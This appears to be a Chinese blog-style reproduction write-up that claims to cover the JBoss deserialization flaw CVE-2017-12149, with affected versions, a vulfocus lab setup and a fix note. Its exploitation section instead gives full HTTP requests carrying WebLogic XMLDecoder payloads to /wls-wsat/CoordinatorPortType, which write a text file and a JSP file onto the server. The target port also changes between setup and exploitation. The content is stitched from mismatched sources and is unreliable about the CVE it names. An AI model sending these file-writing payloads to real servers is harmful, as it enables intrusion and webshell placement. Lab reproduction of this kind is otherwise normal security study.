JBoss JMXInvokerServlet 反序列化漏洞 CVE-2017-12149 已亲自复现
- 漏洞名称
- 漏洞描述
- 影响版本
- 漏洞复现
- 环境搭建
- 漏洞利用
- 修复建议
- 总结
漏洞名称
漏洞描述
2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
在 Red Hat Enterprise Application Platform 5.2 附带的 Jboss Application Server 中,发现 HTTP Invoker 的 ReadOnlyAccessFilter 中 doFilter 方法没有限制其执行反序列化的类,从而允许攻击者通过精心设计的序列化数据执行任意代码。
影响版本
Red Hat JBoss Enterprise Application Platform 5.0.0
Red Hat JBoss Enterprise Application Platform 5.0.1
Red Hat JBoss Enterprise Application Platform 5.1.0
Red Hat JBoss Enterprise Application Platform 5.1.1
Red Hat JBoss Enterprise Application Platform 5.1.2
Red Hat JBoss Enterprise Application Platform 5.2.0
Red Hat JBoss Enterprise Application Platform 5.2.1
Red Hat JBoss Enterprise Application Platform 5.2.2
漏洞复现
环境搭建
受害者IP:192.168.63.129:53342
攻击者IP:192.168.63.1
vulfocus下载链接
https://github.com/fofapro/vulfocus
git clone https://github.com/fofapro/vulfocus.git
启动vulfocus
docker-compose up -d
环境启动后,访问http://192.168.63.129:53342即可看到一个404页面,说明已成功启动。
访问路径/wls-wsat/CoordinatorPortType,出现下图所示页面说明可能存在漏洞。
漏洞利用
上传test.txt文件尝试一下
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.63.129:57677
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 677<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.6.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println"><string>xmldecoder_vul_test</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>
访问URL:http://192.168.63.129:57677/wls-wsat/test.txt
上传test.jsp尝试一下
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.63.129:57677
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 677<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.6.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[ <% out.print("test"); %> ]]></string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>
访问路径:http://192.168.63.129:57677/bea_wls_internal/test.jsp
修复建议
Red Hat JBoss Enterprise Application Platform远程代码执行漏洞—联系厂商更新产品至版本>5.2.2
补丁链接:https://www.redhat.com/en/technologies/jboss-middleware/application-platform